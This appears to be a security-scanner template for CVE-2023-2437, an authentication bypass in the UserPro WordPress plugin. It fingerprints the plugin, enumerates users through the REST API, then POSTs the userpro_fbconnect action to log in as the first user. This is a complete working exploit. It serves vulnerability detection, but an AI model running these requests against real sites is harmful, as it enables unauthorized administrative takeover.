漏洞描述
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
id: CVE-2023-2437
info:
name: UserPro <= 5.1.1 - Authentication Bypass
author: intelligent-ears
severity: critical
description: |
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
impact: |
Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts.
remediation: |
Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action.
reference:
- https://github.com/RxRCoder/CVE-2023-2437
- https://www.wordfence.com/blog/2023/11/several-critical-vulnerabilities-including-privilege-escalation-authentication-bypass-and-more-patched-in-userpro-wordpress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2437
- https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2437
cwe-id: CWE-287
epss-score: 0.73462
epss-percentile: 0.98756
cpe: cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: userproplugin
product: userpro
framework: wordpress
fofa-query: body="/wp-content/plugins/userpro/"
tags: cve,cve2023,wp,wordpress,wp-plugin,userpro,auth-bypass,vkev
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, ".userpro")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-json/wp/v2/users HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: username
part: body
json:
- '.[0].slug'
internal: true
- type: json
name: user_id
part: body
json:
- '.[0].id'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=userpro_fbconnect&id={{user_id}}&email={{username}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{\"redirect_uri\":\"refresh\"}"
- "wp-admin-bar-logout"
- "<span class='display-name'>"
condition: or
- type: word
part: header
words:
- "wordpress_logged_in"
- "wordpress_sec_"
condition: or
- type: status
status:
- 200
# digest: 4b0a0048304602210095124e3101e39ea92a52042cd7d94c6f2d642e606d50a3ec79d855728015f8dd022100e9c5368de9d56b30bf617d5976d189f4a798807b838efe78857d1eac099aa667:922c64590222798bb761d5b6d8e72950